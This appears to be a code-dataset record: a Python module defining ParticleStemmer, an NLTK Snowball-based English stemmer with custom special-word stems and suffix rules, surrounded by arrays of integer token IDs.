[ 624, 2371, 867, 453, 562, 11984, 2652, 30921, 1303, 278, 2037, 453, 1041, 199, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 12, 4629, 199, 199, 504, 5840, 492, 334, 1123, 12, 2517, 6471, 12, 9794, 12, 1437, 12, 14754, 12, 32618, 12, 473, 12, 7225, 12, 22578, 12, 673, 6682, 12, 20164, 12, 428, 12, 9829, 12, 15037, 12, 7452, 12, 12094, 12, 6698, 12, 25991, 12, 673, 11634, 12, 9762, 9, 199, 504, 5840, 14, 1018, 14, 15390, 492, 399, 12, 2649, 12, 1425, 199, 504, 5840, 14, 19032, 492, 10136, 199, 504, 5840, 14, 26514, 14, 9118, 14, 875, 1038, 319, 492, 7268, 2821, 12, 1059, 10542, 319, 199, 504, 5840, 14, 26514, 14, 9118, 14, 9118, 63, 3840, 656, 4956, 492, 7268, 63, 5155, 199, 199, 504, 5840, 14, 24724, 14, 25999, 14, 81, 3684, 492, 1413, 8561, 199, 504, 5840, 14, 24724, 14, 25999, 14, 3856, 492, 334, 40, 281, 26649, 7961, 12, 11013, 12, 4490, 12008, 695, 7961, 9, 199, 504, 5840, 14, 24724, 14, 25999, 14, 929, 492, 32377, 12, 1804, 386, 12, 8511, 199, 504, 5840, 14, 5777, 14, 6664, 14, 3128, 63, 5777, 492, 1804, 82, 368, 22043, 13411, 199, 504, 5840, 14, 24724, 14, 25999, 14, 5559, 492, 394, 1700, 199, 504, 5840, 14, 24724, 14, 25999, 14, 72, 382, 12504, 492, 19178, 7643, 12, 21128, 6959, 40, 382, 12504, 7643, 199, 504, 5840, 14, 24724, 14, 25999, 14, 3128, 2558, 492, 23482, 199, 504, 5840, 14, 24724, 14, 25999, 14, 12595, 492, 18657, 199, 504, 5840, 14, 24724, 14, 25999, 14, 81, 4998, 492, 30888, 421, 199, 363, 452, 363, 275, 359, 272, 283, 77, 63, 1459, 297, 272, 283, 42, 6666, 297, 272, 283, 42, 13084, 297, 272, 283, 21968, 297, 272, 283, 16608, 297, 272, 283, 25620, 297, 272, 283, 42, 18, 297, 272, 283, 28247, 297, 272, 283, 55, 1030, 281, 36, 297, 272, 283, 21968, 5018, 297, 272, 283, 42, 8094, 345, 297, 272, 283, 16608, 5018, 297, 272, 283, 16608, 17171, 297, 272, 283, 9450, 297, 272, 283, 25620, 17171, 297, 272, 283, 21968, 5018, 11605, 297, 272, 283, 42, 8094, 345, 11605, 297, 272, 283, 16608, 5018, 11605, 297, 272, 283, 16608, 17171, 11605, 297, 272, 283, 15600, 297, 272, 283, 25620, 17171, 11605, 297, 272, 283, 17600, 297, 272, 283, 324, 17600, 7, 199, 61, 421, 199, 318, 333, 63, 1459, 8, 74, 304, 272, 1335, 275, 25991, 8, 74, 9, 272, 1568, 275, 499, 10, 74, 435, 413, 272, 340, 440, 1568, 14, 374, 63, 2674, 503, 440, 1568, 690, 378, 26, 267, 746, 1722, 8, 288, 283, 5903, 3000, 503, 12995, 13, 4115, 1338, 4370, 367, 1335, 12, 4788, 26, 520, 450, 82, 7, 450, 1335, 267, 776, 272, 372, 1568, 12, 359, 74, 446, 284, 367, 284, 315, 1425, 8, 442, 8, 18, 10, 74, 435, 413, 10524, 421, 199, 18045, 199, 3, 428, 7751, 6654, 2750, 199, 18045, 421, 199, 533, 428, 7751, 4619, 1563, 8, 785, 304, 272, 408, 1563, 1021, 367, 20749, 10211, 1041, 339, 768, 3744, 272, 347, 485, 2579, 63, 72, 382, 12504, 63, 2638, 8, 1886, 12, 1768, 304, 267, 327, 2136, 11201, 1006, 1335, 1338, 880, 4154, 4601, 365, 15258, 14, 267, 372, 19178, 7643, 8, 51, 14, 14660, 9, 339, 768, 1829, 272, 347, 536, 8, 277, 304, 267, 372, 291, 14, 589, 59, 16, 61, 339, 347, 485, 1361, 63, 4407, 8, 277, 12, 16639, 12, 627, 589, 304, 267, 372, 1543, 83, 5, 83, 7, 450, 334, 2975, 8, 277, 14, 354, 395, 291, 423, 7988, 9, 339, 347, 485, 1361, 63, 4407, 63, 9118, 8, 277, 12, 16639, 12, 627, 589, 304, 267, 282, 275, 1059, 10542, 319, 8, 2975, 8, 277, 14, 354, 430, 267, 330, 275, 1059, 10542, 319, 8, 277, 423, 7988, 9, 267, 372, 291, 423, 1361, 63, 30907, 63, 9118, 8, 65, 12, 330, 9, 339, 347, 485, 1361, 63, 4407, 63, 7572, 8, 277, 12, 16639, 12, 627, 589, 304, 267, 372, 519, 5956, 83, 4970, 83, 7, 450, 3666, 2975, 8, 277, 14, 354, 395, 291, 423, 7988, 430, 339, 347, 485, 13063, 63, 1095, 8, 277, 12, 5597, 12, 1011, 1419, 304, 267, 1335, 275, 1511, 14, 362, 360, 74, 297, 20164, 8, 17, 12, 499, 430, 267, 1568, 12, 333, 3643, 275, 333, 63, 1459, 8, 74, 9, 267, 754, 275, 10136, 8, 890, 12, 1568, 9, 267, 367, 299, 315, 1425, 8, 890, 304, 288, 367, 1894, 315, 1425, 8, 890, 304, 355, 562, 275, 291, 14, 3642, 63, 2108, 8, 74, 12, 333, 3643, 59, 80, 467, 1335, 12, 333, 3643, 59, 81, 566, 355, 754, 59, 80, 12, 1894, 61, 275, 562, 267, 372, 754, 339, 347, 485, 4998, 63, 411, 8, 277, 12, 1022, 386, 12, 2306, 63, 19220, 12, 1011, 1419, 304, 267, 1174, 275, 1022, 386, 14, 14366, 8, 277, 14, 19220, 9, 267, 327, 982, 314, 1174, 965, 1454, 1373, 6707, 267, 340, 1228, 8, 929, 12, 8511, 304, 288, 2203, 275, 334, 72, 1700, 10, 929, 14, 77, 9, 627, 1174, 267, 327, 1174, 365, 282, 7798, 14665, 402, 6363, 267, 916, 1228, 8, 929, 12, 12094, 304, 288, 2203, 275, 291, 423, 4998, 63, 3856, 63, 6959, 8, 929, 12, 1011, 1419, 9, 267, 587, 26, 288, 2203, 275, 30888, 8, 277, 10, 929, 9, 267, 340, 2203, 508, 291, 10, 929, 26, 288, 746, 4279, 267, 372, 2203, 14, 14366, 8, 2981, 63, 19220, 9, 339, 347, 485, 4998, 63, 3856, 63, 21968, 5018, 8, 277, 12, 1022, 386, 12, 1011, 1419, 304, 267, 372, 291, 423, 4998, 63, 411, 8, 75, 386, 12, 283, 21968, 297, 1011, 1419, 9, 339, 347, 485, 4998, 63, 3856, 63, 21968, 5018, 11605, 8, 277, 12, 1022, 386, 12, 1011, 1419, 304, 267, 372, 291, 423, 4998, 63, 411, 8, 75, 386, 12, 283, 21968, 297, 1011, 1419, 9, 339, 347, 485, 4998, 63, 3856, 63, 16608, 5018, 8, 277, 12, 1022, 386, 12, 1011, 1419, 304, 267, 372, 291, 423, 4998, 63, 411, 8, 75, 386, 12, 283, 16608, 297, 1011, 1419, 9, 339 ]
[ 2371, 867, 453, 562, 11984, 2652, 30921, 1303, 278, 2037, 453, 1041, 199, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 12, 4629, 199, 199, 504, 5840, 492, 334, 1123, 12, 2517, 6471, 12, 9794, 12, 1437, 12, 14754, 12, 32618, 12, 473, 12, 7225, 12, 22578, 12, 673, 6682, 12, 20164, 12, 428, 12, 9829, 12, 15037, 12, 7452, 12, 12094, 12, 6698, 12, 25991, 12, 673, 11634, 12, 9762, 9, 199, 504, 5840, 14, 1018, 14, 15390, 492, 399, 12, 2649, 12, 1425, 199, 504, 5840, 14, 19032, 492, 10136, 199, 504, 5840, 14, 26514, 14, 9118, 14, 875, 1038, 319, 492, 7268, 2821, 12, 1059, 10542, 319, 199, 504, 5840, 14, 26514, 14, 9118, 14, 9118, 63, 3840, 656, 4956, 492, 7268, 63, 5155, 199, 199, 504, 5840, 14, 24724, 14, 25999, 14, 81, 3684, 492, 1413, 8561, 199, 504, 5840, 14, 24724, 14, 25999, 14, 3856, 492, 334, 40, 281, 26649, 7961, 12, 11013, 12, 4490, 12008, 695, 7961, 9, 199, 504, 5840, 14, 24724, 14, 25999, 14, 929, 492, 32377, 12, 1804, 386, 12, 8511, 199, 504, 5840, 14, 5777, 14, 6664, 14, 3128, 63, 5777, 492, 1804, 82, 368, 22043, 13411, 199, 504, 5840, 14, 24724, 14, 25999, 14, 5559, 492, 394, 1700, 199, 504, 5840, 14, 24724, 14, 25999, 14, 72, 382, 12504, 492, 19178, 7643, 12, 21128, 6959, 40, 382, 12504, 7643, 199, 504, 5840, 14, 24724, 14, 25999, 14, 3128, 2558, 492, 23482, 199, 504, 5840, 14, 24724, 14, 25999, 14, 12595, 492, 18657, 199, 504, 5840, 14, 24724, 14, 25999, 14, 81, 4998, 492, 30888, 421, 199, 363, 452, 363, 275, 359, 272, 283, 77, 63, 1459, 297, 272, 283, 42, 6666, 297, 272, 283, 42, 13084, 297, 272, 283, 21968, 297, 272, 283, 16608, 297, 272, 283, 25620, 297, 272, 283, 42, 18, 297, 272, 283, 28247, 297, 272, 283, 55, 1030, 281, 36, 297, 272, 283, 21968, 5018, 297, 272, 283, 42, 8094, 345, 297, 272, 283, 16608, 5018, 297, 272, 283, 16608, 17171, 297, 272, 283, 9450, 297, 272, 283, 25620, 17171, 297, 272, 283, 21968, 5018, 11605, 297, 272, 283, 42, 8094, 345, 11605, 297, 272, 283, 16608, 5018, 11605, 297, 272, 283, 16608, 17171, 11605, 297, 272, 283, 15600, 297, 272, 283, 25620, 17171, 11605, 297, 272, 283, 17600, 297, 272, 283, 324, 17600, 7, 199, 61, 421, 199, 318, 333, 63, 1459, 8, 74, 304, 272, 1335, 275, 25991, 8, 74, 9, 272, 1568, 275, 499, 10, 74, 435, 413, 272, 340, 440, 1568, 14, 374, 63, 2674, 503, 440, 1568, 690, 378, 26, 267, 746, 1722, 8, 288, 283, 5903, 3000, 503, 12995, 13, 4115, 1338, 4370, 367, 1335, 12, 4788, 26, 520, 450, 82, 7, 450, 1335, 267, 776, 272, 372, 1568, 12, 359, 74, 446, 284, 367, 284, 315, 1425, 8, 442, 8, 18, 10, 74, 435, 413, 10524, 421, 199, 18045, 199, 3, 428, 7751, 6654, 2750, 199, 18045, 421, 199, 533, 428, 7751, 4619, 1563, 8, 785, 304, 272, 408, 1563, 1021, 367, 20749, 10211, 1041, 339, 768, 3744, 272, 347, 485, 2579, 63, 72, 382, 12504, 63, 2638, 8, 1886, 12, 1768, 304, 267, 327, 2136, 11201, 1006, 1335, 1338, 880, 4154, 4601, 365, 15258, 14, 267, 372, 19178, 7643, 8, 51, 14, 14660, 9, 339, 768, 1829, 272, 347, 536, 8, 277, 304, 267, 372, 291, 14, 589, 59, 16, 61, 339, 347, 485, 1361, 63, 4407, 8, 277, 12, 16639, 12, 627, 589, 304, 267, 372, 1543, 83, 5, 83, 7, 450, 334, 2975, 8, 277, 14, 354, 395, 291, 423, 7988, 9, 339, 347, 485, 1361, 63, 4407, 63, 9118, 8, 277, 12, 16639, 12, 627, 589, 304, 267, 282, 275, 1059, 10542, 319, 8, 2975, 8, 277, 14, 354, 430, 267, 330, 275, 1059, 10542, 319, 8, 277, 423, 7988, 9, 267, 372, 291, 423, 1361, 63, 30907, 63, 9118, 8, 65, 12, 330, 9, 339, 347, 485, 1361, 63, 4407, 63, 7572, 8, 277, 12, 16639, 12, 627, 589, 304, 267, 372, 519, 5956, 83, 4970, 83, 7, 450, 3666, 2975, 8, 277, 14, 354, 395, 291, 423, 7988, 430, 339, 347, 485, 13063, 63, 1095, 8, 277, 12, 5597, 12, 1011, 1419, 304, 267, 1335, 275, 1511, 14, 362, 360, 74, 297, 20164, 8, 17, 12, 499, 430, 267, 1568, 12, 333, 3643, 275, 333, 63, 1459, 8, 74, 9, 267, 754, 275, 10136, 8, 890, 12, 1568, 9, 267, 367, 299, 315, 1425, 8, 890, 304, 288, 367, 1894, 315, 1425, 8, 890, 304, 355, 562, 275, 291, 14, 3642, 63, 2108, 8, 74, 12, 333, 3643, 59, 80, 467, 1335, 12, 333, 3643, 59, 81, 566, 355, 754, 59, 80, 12, 1894, 61, 275, 562, 267, 372, 754, 339, 347, 485, 4998, 63, 411, 8, 277, 12, 1022, 386, 12, 2306, 63, 19220, 12, 1011, 1419, 304, 267, 1174, 275, 1022, 386, 14, 14366, 8, 277, 14, 19220, 9, 267, 327, 982, 314, 1174, 965, 1454, 1373, 6707, 267, 340, 1228, 8, 929, 12, 8511, 304, 288, 2203, 275, 334, 72, 1700, 10, 929, 14, 77, 9, 627, 1174, 267, 327, 1174, 365, 282, 7798, 14665, 402, 6363, 267, 916, 1228, 8, 929, 12, 12094, 304, 288, 2203, 275, 291, 423, 4998, 63, 3856, 63, 6959, 8, 929, 12, 1011, 1419, 9, 267, 587, 26, 288, 2203, 275, 30888, 8, 277, 10, 929, 9, 267, 340, 2203, 508, 291, 10, 929, 26, 288, 746, 4279, 267, 372, 2203, 14, 14366, 8, 2981, 63, 19220, 9, 339, 347, 485, 4998, 63, 3856, 63, 21968, 5018, 8, 277, 12, 1022, 386, 12, 1011, 1419, 304, 267, 372, 291, 423, 4998, 63, 411, 8, 75, 386, 12, 283, 21968, 297, 1011, 1419, 9, 339, 347, 485, 4998, 63, 3856, 63, 21968, 5018, 11605, 8, 277, 12, 1022, 386, 12, 1011, 1419, 304, 267, 372, 291, 423, 4998, 63, 411, 8, 75, 386, 12, 283, 21968, 297, 1011, 1419, 9, 339, 347, 485, 4998, 63, 3856, 63, 16608, 5018, 8, 277, 12, 1022, 386, 12, 1011, 1419, 304, 267, 372, 291, 423, 4998, 63, 411, 8, 75, 386, 12, 283, 16608, 297, 1011, 1419, 9, 339, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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12494
from nltk.stem import SnowballStemmer from nltk.stem.api import StemmerI import nltk import json class ParticleStemmer(SnowballStemmer): def __init__(self, language="english", ignore_stopwords=False, suffix_rule_list={}): super().__init__(language=language, ignore_stopwords=ignore_stopwords) if language == "english": self.stemmer._EnglishStemmer__special_words.update({ "experiment":"experiment", "experimented":"experiment", "experimenting":"experiment", "experiments":"experiment", 'organization': 'organiz', "organization's": 'organiz', 'organizational': 'organiz', 'organizationally': 'organiz', 'organizations': 'organiz', 'organize': 'organiz', 'organized': 'organiz', 'organizer': 'organiz', 'organizers': 'organiz', 'organizes': 'organiz', 'organizing': 'organiz', 'science': 'scient', 'sciences': 'scient', 'scientific': 'scient', 'scientifically': 'scient', 'scientist': 'scient', 'scientistic': 'scient', 'scientists': 'scient', 'animal': 'animal', 'animalism': 'animal', 'animalistic': 'animal', 'animalities': 'animal', 'animality': 'animal', 'animals': 'animal', 'customer': 'customer', 'ratability': 'rate', 'ratable': 'rate', 'ratably': 'rate', 'rate': 'rate', 'rateable': 'rate', 'rateably': 'rate', 'rated': 'rate', 'rater': 'rate', 'raters': 'rate', 'rates': 'rate', 'rating': 'rate', 'ratings': 'rate', 'ratio': 'rate', 'ratios': 'rate', 'ration': 'ration', 'rations': 'ration', 'rationed': 'ration', 'rationing': 'ration', 'ratification': 'ratifi', 'ratified': 'ratifi', 'ratifier': 'ratifi', 'ratifiers': 'ratifi', 'ratifies': 'ratifi', 'ratify': 'ratifi', 'ratifying': 'ratifi', 'rational': 'rational', 'rationale': 'rational', 'rationales': 'rational', 'rationalism': 'rational', 'rationalist': 'rational', 'rationalistic': 'rational', 'rationalistically': 'rational', 'rationalists': 'rational', 'rationalities': 'rational', 'rationality': 'rational', 'rationalization': 'rational', 'rationalizations': 'rational', 'rationalize': 'rational', 'rationalized': 'rational', 'rationalizer': 'rational', 'rationalizers': 'rational', 'rationalizes': 'rational', 'rationalizing': 'rational', 'rationally': 'rational', 'rationalness': 'rational', 'rationals': 'rational', 'ionization': 'ion', 'ionizer': 'ion', 'ionizers': 'ion', 'ionizations': 'ion', 'chemistry': 'chem', 'chemistries': 'chem', 'chemist': 'chem', 'chemists': 'chem', 'chemism': 'chem', 'chemisms': 'chem', 'stable': 'stabil', 'stabled': 'stabil', 'stableness': 'stabil', 'laboratorial': 'lab', 'laboratorially': 'lab', 'laboratorian': 'lab', 'laboratories': 'lab', 'laboratory': 'lab', 'preppie': 'prep', 'preppies': 'prep', 'preparation': 'prep', 'preparations': 'prep', 'preparatorily': 'prep', 'preparatory': 'prep', 'prepare': 'prep', 'prepared': 'prep', 'preparedness': 'prep', 'preparer': 'prep', 'preparers': 'prep', 'prepares': 'prep', 'preparing': 'prep', 'publication': 'publish', 'publications': 'publish', 'microfluidiсs': 'microfluid', 'microfluidiс': 'microfluid', 'transmissibility': 'transmitt', 'transmissible': 'transmitt', 'transmission': 'transmitt', 'transmissions': 'transmitt', 'transmissive': 'transmitt', 'transmitting': 'transmitt', 'transmitted': 'transmitt', 'transmit': 'transmitt', 'transmits': 'transmitt', 'compliant': 'complianc', 'compliantly': 'complianc', 'allergic': 'allergen', 'allergies': 'allergen', 'allergin': 'allergen', 'allergist': 'allergen', 'allergists': 'allergen', 'allergology': 'allergen', 'allergy': 'allergen', 'reproduction': 'reproduc', 'reproductions': 'reproduc', 'reproductive': 'reproduc', 'reproductively': 'reproduc', 'reproductiveness': 'reproduc', 'reproductivity': 'reproduc', 'filtrable': 'filter', 'filtrate': 'filter', 'filtrated': 'filter', 'filtrates': 'filter', 'filtrating': 'filter', 'filtration': 'filter', 'programmable': 'program', 'programmability': 'program', 'programme': 'program', 'programmata': 'program', 'programmatic': 'program', 'programmatically': 'program', 'programmer': 'program', 'programmers': 'program', 'programmes': 'program', 'formation': 'form', 'include': 'inclus', 'includes': 'inclus', 'including': 'inclus', 'included': 'inclus', 'dosage': 'dose', 'dosages': 'dose', 'seq':'sequenc', 'mineral':'mineral', 'minerals':'mineral', 'mineralization':'mineral', 'mineralize':'mineral', 'mineralized':'mineral', 'mineralizes':'mineral', 'mineralizing':'mineral', 'designate':'designat', 'designated':'designat', 'designates':'designat', 'designating':'designat', 'designation':'designat', 'designations':'designat', 'designative':'designat', 'designator':'designat', 'designment':'designat', 'genesys':'genesys', 'poly':'poly', 'sepsis':'sept', 'fabulist':'fabl', 'fabulists':'fabl', 'flautist':'flut', 'flautists':'flut', 'hygeist':'hygien', 'hygieist':'hygien', 'hygeists':'hygien', 'hygieists':'hygien', 'hypothesist':'hypothe', 'hypothesists':'hypothe', 'lutanist':'lute', 'lutanists':'lute', 'lutenist':'lute', 'lutenists':'lute', 'lutist':'lute', 'lutists':'lute', 'magisterial':'magist', 'magisterially':'magist', 'magisterialness':'magist', 'magistery':'magist', 'magistracies':'magist', 'magistracy':'magist', 'magistrateship':'magist', 'magistrature':'magist', 'mister':'mister', 'mr':'mister', 'misters':'mister', 'mistier':'misti', 'mistiest':'misti', 'piano':'pian', 'pianos':'pian', 'cellist':'cello', 'cellists':'cello', 'orthopaedic':'orthoped', 'orthopaedics':'orthoped', 'orthopaedist':'orthoped', 'orthopaedist':'orthoped', 'papist':'papa', 'papistries':'papa', 'papistry':'papa', 'papists':'papa', 'protista':'protist', 'rapist':'rape', 'rapists':'rape', 'scenarist':'scenario', 'scenarists':'scenario', 'tourism':'tourist', 'tourisms':'tourist', 'admin':'administr', 'administer':'administr', 'administered':'administr', 'administerial':'administr', 'administering':'administr', 'administerings':'administr', 'administers':'administr', 'administratrices':'administr', 'administratrix':'administr', 'characterless':'charact', 'charactery':'charact', 'geoscience': 'geoscient', 'geosciences': 'geoscient', 'geoscientific': 'geoscient', 'geoscientifically': 'geoscient', 'geoscientist': 'geoscient', 'geoscientistic': 'geoscient', 'geoscientists': 'geoscient', 'bioscience': 'bioscient', 'biosciences': 'bioscient', 'bioscientific': 'bioscient', 'bioscientifically': 'bioscient', 'bioscientist': 'bioscient', 'bioscientistic': 'bioscient', 'bioscientists': 'bioscient', }) from partstem.word_list import word_list self.word_list = word_list self.word_list += nltk.corpus.words.words() self.stem = self.__stem self.suffix_rule_list = { 'ant': {"with": ['ation'], "exception": []}, 'eti': {"with": ['ant', ''], "exception": []}, 'or': {"with": ['ion'], "exception": []}, 'um': {"with": ['a'], "exception": ["medium"]}, 'a': {"with": ['um', 'ary+ '], "exception": ["media"]}, 'ri': {"with": [' -ried', 'er', 'tes'], "exception": []}, 'er': {"with": ['y'], "exception": []}, 'al': {"with": ['us'], "exception": ["animal"]}, 'us': {"with": ['al'], "exception": []}, 'ifi': {"with": ['e'], "exception": ["modifi", "specifi"]}, 'e': {"with": ['ification'], "exception": []}, 'ion': {"with": ['e'], "exception": []}, 'i': {"with": ['e', 'us', 'er', 'y+ ', 'y+ic'], "exception": ["ii"]}, 'si': {"with": ['sis'], "exception": ["genesi"]}, 's': {"with": ['sis'], "exception": ["genes"]}, 't': {"with": ['sis'], "exception": []}, 'z': {"with": ['sis'], "exception": []}, "ier": {"with": ["ying", ""], "exception": []}, "abl": {"with": ["e", "es", "ate", "ation", "ed", "en", "ies", ""], "exception": ["stabl", "capabl", "fabl", "arabl", "cabl", "constabl", "decasyllabl", "despicabl", "diabl", "disabl", "effabl", "enabl", "formidabl", "gabl", "gullabl", "impeccabl", "improbabl", "incapabl", "ineffabl", "inevitabl", "inviabl", "invariabl", "viabl", "variabl", "liabl", "probabl", "syllabl", "monosyllabl", "nonstabl", "unstabl", "uncapabl", "nonviabl", "parabl", "peccabl", "polysyllabl", "sabl", "permeabl", "semipermeabl", "tabl", "tenabl", "thermostabl", "timetabl", "unabl", "vegetabl", "vocabl", "worktabl"]}, "th": {"with": [""], "exception": []}, "atori": {"with": ["ation"], "exception": []}, "ori": {"with": ["ion"], "exception": []}, "ous": {"with": ["y", "", "e", "on", "ity"], "exception": []}, "ic": {"with": ["", "e"], "exception": ["sonic", "polic", "indic"]}, "iti": {"with": ["est+ification"], "exception": []}, "iz": {"with": ["ize", "izate"], "exception": []}, "at": {"with": ["atic", "ance"], "exception": []}, 'if': {"with": ["ity+est", "e"], "exception": ["modif", "specif"]}, 'ist': {"with": ['ism', 'ed', 'ical', 'y', 'ium', 'est', 'ic', 'e', 'o', 'al', 'a', ''], "exception": ["mist", "agonist", "assist", "list", "backlist", "ballist", "banist", "bannist", "barrist", "batist", "booklist", "canist", "casuist", "checklist", "christ", "cist", "fist", "closefist", "exist", "coexist", "consist", "delist", "desist", "enlist", "twist", "entwist", "feist", "filist", "foist", "gist", "grist","hagadist", "heist", "heurist", "hist", "hoist", "inconist", "insist", "intwist", "resist", "irresist", "joist", "kist", "legist", "logist", "magist", "maist", "minist", "modist", "moist", "specialist", "sophist", "statist", "waist", "pantywaist", "persist", "poltergeist", "preenlist", "preexist", "regist", "protist", "reenlist", "relist", "shirtwaist", "shist", "sinist", "subsist", "tourist", "underwaist", "unlist", "untwist", "whist", "wist", "wrist", "zeitgeist"]}, 'ism': {"with": ['ist', 'ic', ''], "exception": ["tourism"]}, } self.suffix_rule_list.update(suffix_rule_list) self.suffix_list = sorted(list(self.suffix_rule_list.keys()), key=lambda x: -len(x)) def __stem(self, word, return_snowball=False): if not word.startswith("improv"): remove_suffix = {"isate":"izate", "isated":"izated", "isating":"izating", "isates":"izates"} for key in remove_suffix.keys(): if word.endswith(key): word = word[:-len(key)] + remove_suffix[key] break remove_suffix = {"ise":"ize", "ised":"ized", "ising":"izing", "ises":"izes"} for key in remove_suffix.keys(): if word.endswith(key): new_word = word[:-len(key)] + remove_suffix[key] if new_word in self.word_list: word = new_word break word = self.stemmer.stem(word) stem_word = word num = 0 if word not in list(self.stemmer._EnglishStemmer__special_words.keys()) + list(self.stemmer._EnglishStemmer__special_words.values()) and len(word) >= 3: while num < len(self.suffix_list): if stem_word.endswith(self.suffix_list[num]) and stem_word not in self.suffix_rule_list[self.suffix_list[num]]["exception"]: without_suffix = stem_word[:-len(self.suffix_list[num])] if len(without_suffix) == 0: num += 1 continue for el in self.suffix_rule_list[self.suffix_list[num]]["with"]: el = el.replace("+", " ") el = el.replace("-", " -") if "-" in el and " -" not in el else el el = el.split(" ") key = True for el1 in el: if not ((without_suffix + el1 in self.word_list and not el1.startswith("-")) or (without_suffix + el1.replace("-", "") not in self.word_list and el1.startswith("-"))): key = False break if key: stem_word = without_suffix break break num += 1 return (stem_word, word) if return_snowball else stem_word if len(stem_word) >= 3 else word partstem = ParticleStemmer()
apache-2.0
[ 504, 24706, 14, 18446, 492, 428, 2131, 8571, 51, 563, 2626, 199, 504, 24706, 14, 18446, 14, 1246, 492, 428, 563, 2626, 41, 199, 646, 24706, 199, 646, 2022, 199, 199, 533, 2235, 2121, 51, 563, 2626, 8, 51, 2131, 8571, 51, 563, 2626, 304, 421, 198, 318, 636, 826, 721, 277, 12, 2637, 628, 17872, 401, 3686, 63, 2379, 3148, 29, 797, 12, 4739, 63, 2200, 63, 513, 16420, 507, 198, 4792, 11027, 826, 721, 3671, 29, 3671, 12, 3686, 63, 2379, 3148, 29, 4247, 63, 2379, 3148, 9, 507, 198, 692, 2637, 508, 298, 17872, 582, 686, 198, 277, 14, 18446, 2626, 423, 19410, 51, 563, 2626, 363, 6664, 63, 3148, 14, 873, 2561, 1585, 198, 2, 10873, 5122, 10873, 401, 28932, 198, 2, 476, 20651, 471, 5122, 10873, 401, 28932, 198, 2, 10873, 316, 5122, 10873, 401, 28932, 198, 2, 476, 22263, 5122, 10873, 401, 1585, 198, 7, 9071, 356, 283, 19916, 565, 297, 1585, 198, 2, 9071, 1159, 582, 283, 19916, 565, 297, 1585, 198, 7, 9071, 279, 356, 283, 19916, 565, 297, 1585, 198, 7, 9071, 1183, 356, 283, 19916, 565, 297, 1585, 198, 7, 19916, 12270, 356, 283, 19916, 565, 297, 1585, 198, 7, 19916, 794, 356, 283, 19916, 565, 297, 1585, 198, 7, 19916, 1759, 356, 283, 19916, 565, 297, 1585, 198, 7, 19916, 1793, 356, 283, 19916, 565, 297, 1585, 198, 7, 19916, 6315, 356, 283, 19916, 565, 297, 1585, 198, 7, 19916, 6491, 356, 283, 19916, 565, 297, 1585, 198, 7, 19916, 9147, 356, 283, 19916, 565, 297, 1585, 198, 1159, 559, 4894, 356, 283, 551, 6792, 297, 1585, 198, 1159, 559, 25231, 356, 283, 551, 6792, 297, 1585, 198, 1159, 559, 23509, 356, 283, 551, 6792, 297, 1585, 198, 1159, 559, 23509, 1183, 356, 283, 551, 6792, 297, 1585, 198, 1159, 559, 287, 5011, 356, 283, 551, 6792, 297, 1585, 198, 1159, 559, 287, 19940, 356, 283, 551, 6792, 297, 1585, 198, 1159, 559, 287, 5011, 83, 356, 283, 551, 6792, 297, 1585, 198, 7, 290, 7265, 356, 283, 290, 7265, 297, 1585, 198, 7, 290, 7265, 19185, 356, 283, 290, 7265, 297, 1585, 198, 7, 290, 7265, 6937, 356, 283, 290, 7265, 297, 1585, 198, 7, 290, 7265, 12107, 356, 283, 290, 7265, 297, 1585, 198, 7, 22019, 6712, 356, 283, 290, 7265, 297, 1585, 198, 7, 22019, 2551, 356, 283, 290, 7265, 297, 1585, 198, 7, 10178, 356, 283, 10178, 297, 1585, 198, 7, 82, 1936, 2012, 356, 283, 1866, 297, 1585, 198, 7, 82, 15511, 356, 283, 1866, 297, 1585, 198, 7, 82, 1936, 590, 356, 283, 1866, 297, 1585, 198, 7, 1866, 356, 283, 1866, 297, 1585, 198, 7, 1866, 461, 356, 283, 1866, 297, 1585, 198, 7, 1866, 6665, 356, 283, 1866, 297, 1585, 198, 7, 12601, 356, 283, 1866, 297, 1585, 198, 7, 1866, 82, 356, 283, 1866, 297, 1585, 198, 7, 1866, 2393, 356, 283, 1866, 297, 1585, 198, 7, 17153, 356, 283, 1866, 297, 1585, 198, 7, 10417, 356, 283, 1866, 297, 1585, 198, 7, 17565, 780, 356, 283, 1866, 297, 1585, 198, 7, 6884, 356, 283, 1866, 297, 1585, 198, 7, 345, 9636, 356, 283, 1866, 297, 1585, 198, 7, 1754, 356, 283, 1754, 297, 1585, 198, 7, 3801, 356, 283, 1754, 297, 1585, 198, 7, 1754, 379, 356, 283, 1754, 297, 1585, 198, 7, 1754, 316, 356, 283, 1754, 297, 1585, 198, 7, 345, 3793, 356, 283, 345, 1428, 297, 1585, 198, 7, 345, 8981, 356, 283, 345, 1428, 297, 1585, 198, 7, 345, 11612, 356, 283, 345, 1428, 297, 1585, 198, 7, 345, 1428, 1192, 356, 283, 345, 1428, 297, 1585, 198, 7, 345, 1428, 397, 356, 283, 345, 1428, 297, 1585, 198, 7, 345, 3338, 356, 283, 345, 1428, 297, 1585, 198, 7, 345, 3338, 316, 356, 283, 345, 1428, 297, 1585, 198, 7, 21005, 356, 283, 21005, 297, 1585, 198, 7, 1754, 1895, 356, 283, 21005, 297, 1585, 198, 7, 1754, 7098, 356, 283, 21005, 297, 1585, 198, 7, 21005, 19185, 356, 283, 21005, 297, 1585, 198, 7, 21005, 631, 356, 283, 21005, 297, 1585, 198, 7, 21005, 6937, 356, 283, 21005, 297, 1585, 198, 7, 21005, 6937, 1183, 356, 283, 21005, 297, 1585, 198, 7, 21005, 1670, 356, 283, 21005, 297, 1585, 198, 7, 1754, 10874, 1417, 356, 283, 21005, 297, 1585, 198, 7, 1754, 6712, 356, 283, 21005, 297, 1585, 198, 7, 21005, 2072, 356, 283, 21005, 297, 1585, 198, 7, 21005, 12270, 356, 283, 21005, 297, 1585, 198, 7, 21005, 794, 356, 283, 21005, 297, 1585, 198, 7, 21005, 1759, 356, 283, 21005, 297, 1585, 198, 7, 21005, 1793, 356, 283, 21005, 297, 1585, 198, 7, 21005, 6315, 356, 283, 21005, 297, 1585, 198, 7, 21005, 6491, 356, 283, 21005, 297, 1585, 198, 7, 21005, 9147, 356, 283, 21005, 297, 1585, 198, 7, 1754, 1183, 356, 283, 21005, 297, 1585, 198, 7, 21005, 4171, 356, 283, 21005, 297, 1585, 198, 7, 1754, 2551, 356, 283, 21005, 297, 1585, 198, 7, 1636, 2072, 356, 283, 1636, 297, 1585, 198, 7, 1636, 1793, 356, 283, 1636, 297, 1585, 198, 7, 1636, 6315, 356, 283, 1636, 297, 